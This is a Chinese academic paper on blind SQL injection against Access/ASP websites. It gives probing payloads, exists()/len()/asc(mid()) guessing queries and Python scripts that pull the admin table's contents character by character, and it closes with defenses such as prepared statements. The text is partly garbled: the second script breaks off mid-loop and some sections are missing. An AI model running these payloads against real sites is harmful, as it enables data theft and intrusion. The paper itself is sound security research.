王冬雪 韓灝 李鴻鵠
摘要:基于Windows+Access+ASP服務(wù)器的網(wǎng)絡(luò)架構(gòu),因成本低廉和易于操作被廣泛使用,這種架構(gòu)極易因存在的安全漏洞和相關(guān)安全措施不嚴(yán)而受到各方面的攻擊與入侵,最常見的攻擊方式就是SQL注入。通過SQL注入攻擊獲取數(shù)據(jù)庫數(shù)據(jù),利用其數(shù)據(jù)可進(jìn)行網(wǎng)站滲透。在此基礎(chǔ)上,采用逐字猜解法注入,利用python腳本編寫獲取數(shù)據(jù)庫信息并進(jìn)行腳本優(yōu)化,從而研究Access數(shù)據(jù)庫SQL注入方式,給出SQL注入攻擊的防范方法。
關(guān)鍵詞:網(wǎng)絡(luò)安全;Access數(shù)據(jù)庫;SQL注入;攻防
中圖分類號:TP391.4文獻(xiàn)標(biāo)志碼:A文章編號:1008-1739(2018)19-68-4
Research on SQL Injection Attack Based on Access Database
WANG Dongxue, HAN Hao, LI Honghu(College of Computer Science and Technology, Harbin University of Science and Technology, Harbin Heilongjiang 150000, China)
0引言
隨著互聯(lián)網(wǎng)時(shí)代的發(fā)展,人們在享受互聯(lián)網(wǎng)帶來便捷的同時(shí),安全問題也日趨嚴(yán)峻。Windows+Access+ASP是常見的網(wǎng)絡(luò)架構(gòu)類型之一,常用于構(gòu)建動態(tài)網(wǎng)站。部分網(wǎng)站由于開發(fā)者安全意識較差,常受到不同種類的Web攻擊,SQL[1]注入是其中一種較為嚴(yán)重的攻擊方式。攻擊者利用開發(fā)人員對傳入?yún)?shù)與SQL語句的不正確拼合,將惡意的SQL語句注入到后臺數(shù)據(jù)庫來實(shí)現(xiàn)其操作,通過該攻擊可獲取用戶敏感數(shù)據(jù)信息,在服務(wù)器權(quán)限設(shè)置不當(dāng)?shù)那闆r下,可導(dǎo)致任意文件的上傳及下載,進(jìn)而獲取網(wǎng)站W(wǎng)ebshell,最終導(dǎo)致服務(wù)器淪陷。本文通過搭建基于Access數(shù)據(jù)庫的Web測試環(huán)境,編寫SQL注入python腳本,實(shí)現(xiàn)了對數(shù)據(jù)庫數(shù)據(jù)內(nèi)容的獲取,并由此總結(jié)了Access數(shù)據(jù)庫SQL注入防范方法。
1前期準(zhǔn)備
1.1環(huán)境搭建
本地測試環(huán)境采用Window2003+超級小旋風(fēng)AspWebServer進(jìn)行環(huán)境搭建,AspWebServer參數(shù)配置如下:
[localhost:sql]
hostLanguage=VBScript
hostUrl=192.168.208.139
listenPort=8003
rootPath=\wwwroot\sql
defaultFiles=index.asp,default.asp,index.html,default.html
第1行為配置名稱,第2行為使用的腳本語言,第3行為本機(jī)的IP地址,第4行為監(jiān)聽的本地端口,第5行為網(wǎng)站的根路徑,第6行為默認(rèn)的網(wǎng)站頁面。測試頁面顯示如圖1所示。
頁面顯示了報(bào)錯(cuò)信息,由MicrosoftAccess Driver可知,數(shù)據(jù)庫類型為Access數(shù)據(jù)庫,查詢表達(dá)式為id=1513,多出一個(gè)單引號,該單引號與前一個(gè)單引號閉合,多出的找不到與之成對的單引號,導(dǎo)致數(shù)據(jù)庫報(bào)錯(cuò),接下來進(jìn)行注入類型的判斷。
構(gòu)造and 1=1和and 1=2分別作為id參數(shù)值傳入,如果頁面發(fā)生改變,則證明存在SQL注入,經(jīng)測試頁面發(fā)生變化,語句并未使用單引號進(jìn)行閉合,所以注入類型為int型注入。
1.3 SQL注入原理
Access只存在1個(gè)數(shù)據(jù)庫,所以與常規(guī)的SQL注入方式不同,可通過以下2種方式進(jìn)行查詢,第1種為聯(lián)合查詢法,第2種為逐字猜解法。Access數(shù)據(jù)庫不存在系統(tǒng)表和系統(tǒng)庫,對于數(shù)據(jù)庫中的內(nèi)容,只能通過暴力猜解的方式進(jìn)行。
暴力猜解的方式如下:
①進(jìn)行表的判斷:通過在閉合后的語句中加入and exists(select * from表名),表名部分可通過本地字典讀取,如果頁面返回?zé)o變化,則證明該表存在于數(shù)據(jù)庫中。
②進(jìn)行表中字段的判斷:通過構(gòu)造and exists (select列名from表名),表名為上述語句查詢的結(jié)果,列名需要通過字典文件暴力猜解的值。通過測試頁面的返回結(jié)果,如果頁面無變化,則證明該字段存在于該表中。
③進(jìn)行數(shù)據(jù)部分的判斷:第一步判斷數(shù)據(jù)部分的長度,通過構(gòu)造and (select top 1 len(列名)from表名)=長度,列名和表名可通過上述過程得出,使用循環(huán)語句,直到頁面返回正常,此時(shí)的長度為數(shù)據(jù)內(nèi)容長度。第二步通過構(gòu)造and (select top 1 asc(mid(列名,位數(shù),1)) from表名)=ascll碼,頁面返回正常時(shí),該ascll值為該數(shù)據(jù)對應(yīng)位數(shù)的值。
2 Access逐字猜解法注入
2.1查詢數(shù)據(jù)信息
查詢數(shù)據(jù)信息的過程如下:
def queryDump(table,column,url,length=60):
len = 0
old = requests.get(url)
old.encoding = gb2312
#確認(rèn)長度
for i in range(length):
payload = and(select top 1 len (%s) from %s) = %d %(column,table,i)
payload = url + payload
print(payload)
new=requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
len = i
print(len)
break
#判定每位的內(nèi)容
dump =
for j in range(len):
for k in range(33,127):## ascll可見字符范圍
payload = and (select top 1 asc(mid(%s,%d,1)) from %s)=%d% (column,j+1,table,k)
payload = url + payload
new =requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
dump+=chr(k)
print(dump)
break
queryDump(admin,admin,http://192.168.199.73: 8003/Production/PRODUCT_DETAIL.asp?id=1513,40)
腳本首先進(jìn)行了一次正常請求,并將請求結(jié)果保存在old變量中,然后構(gòu)造查詢判斷字段長度,通過構(gòu)造and (select top 1 len(column) from table)=length循環(huán)遍歷,直到前后返回結(jié)果相同,此時(shí)得到字段數(shù)據(jù)部分長度,在知道字段長度的基礎(chǔ)上,構(gòu)造and(select top 1 asc(mid(字段,數(shù)據(jù)位置,1))from表名)=ascll碼,確定該字段數(shù)據(jù)內(nèi)容的每一位所對應(yīng)的ascll碼,并輸出其相應(yīng)的字符,運(yùn)行結(jié)果如圖3所示。
2.2逐字猜解法腳本優(yōu)化
逐字猜解法腳本優(yōu)化的過程如下:
def queryDumpx(table,column,url,length=60):
len=0
old= requests.get(url)
old.encoding = gb2312
#確認(rèn)長度
start =0
end = length
while(startm = (start+end)//2
if(end - start == 1):
break
payload = and(select top 1 len (%s) from %s) < %d %(column, table, m)
payload = url + payload
print(payload)
new=requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
end = m
else:
start = m
len = m
print(len)
#判定每位的內(nèi)容
dump =
for j in range(len):
# for k in range(33,127):## ascll可見字符范圍
s=33
t=127
while(s
3.2采用預(yù)編譯語句集
防御SQL注入的最佳方式就是使用預(yù)編譯語句,預(yù)編譯后的SQL語句的語義不會發(fā)生改變。初始運(yùn)行程序和操作數(shù)據(jù)庫時(shí),會對SQL語句進(jìn)行分析、優(yōu)化與編譯,需執(zhí)行的計(jì)劃被緩存下來并允許數(shù)據(jù)庫以參數(shù)化的形式進(jìn)行查詢[3]。由此將輸入的數(shù)據(jù)庫語句中使用到的參數(shù)進(jìn)行設(shè)置,若輸入了錯(cuò)誤的或不同類型的參數(shù)值,在編寫到數(shù)據(jù)庫語句中導(dǎo)致編譯不通過,這樣也就有效地防止了SQL注入。
3.3對用戶輸入進(jìn)行限定
用戶輸入的內(nèi)容不直接拼合到SQL語句中,可以利用存儲過程中[4]對用戶的輸入進(jìn)行驗(yàn)證與過濾,存儲過程的語句可在創(chuàng)建時(shí)就被編譯,但只會運(yùn)行創(chuàng)建時(shí)所定義的查詢語句的語法,用戶輸入并不參與語法構(gòu)造,故無法達(dá)到執(zhí)行SQL語句,還可通過對用戶輸入中存在的內(nèi)容進(jìn)行過濾。但這種方式并不能很好地防范SQL注入攻擊,攻擊者總是能找到新的攻擊字符串,繞過各種過濾檢查,而且這種防御機(jī)制亦取決于開發(fā)者編寫驗(yàn)證代碼與確定其使用系統(tǒng)環(huán)境的能力[5]。
3.4對敏感信息加密
盡管關(guān)于SQL注入的防范技術(shù)不斷發(fā)展,仍無法完全規(guī)避攻擊者進(jìn)行的滲透與攻擊。作為網(wǎng)站管理人員,應(yīng)對用戶敏感信息進(jìn)行高強(qiáng)度加密處理,常規(guī)密碼算法有DES及其變形Triple DES、GDES、New DES等[6]。即便加密后的內(nèi)容被獲取,攻擊者也無法破解對應(yīng)的數(shù)據(jù)信息。
4結(jié)束語
通過對Access數(shù)據(jù)庫SQL注入方法之一的逐字猜解法進(jìn)行了具體研究,采用python語言實(shí)現(xiàn)了對數(shù)據(jù)庫信息的自動化獲取,可調(diào)用上述腳本獲取指定數(shù)據(jù)內(nèi)容。該測試證明了SQL注入的危害性,并針對于Access數(shù)據(jù)庫SQL注入攻擊,總結(jié)出幾種安全預(yù)防手段,運(yùn)用這些手段能夠有效增強(qiáng)ASP+Access+IIS網(wǎng)絡(luò)架構(gòu)的安全性。
參考文獻(xiàn)
[1]練坤梅,許靜,田偉,等.SQL注入漏洞多等級檢測方法研究[J].計(jì)算機(jī)科學(xué)與探索,2011,5(5):474-480.
[2]顧宏山.ACCESS數(shù)據(jù)庫的安全系統(tǒng)[J].滄州師范??茖W(xué)校學(xué)報(bào),2008(2):110-111.
[3]黃明輝.基于SQL Server的SQL注入攻擊防范方法[J].計(jì)算機(jī)安全,2008(8):122-124.
[4]王綿金,田華,張晉桂.SQL注入攻擊原理和防范方法[J].信息與電腦:理論版,2016(5):182-183.
[5]馬小婷,胡國平,李舟軍.SQL注入漏洞檢測與防御技術(shù)研究[J].計(jì)算機(jī)安全,2010(11):18-24.
[6]徐康庭.網(wǎng)絡(luò)安全與網(wǎng)絡(luò)信息加密技術(shù)分析[J].數(shù)字通信世界,2018(2):102.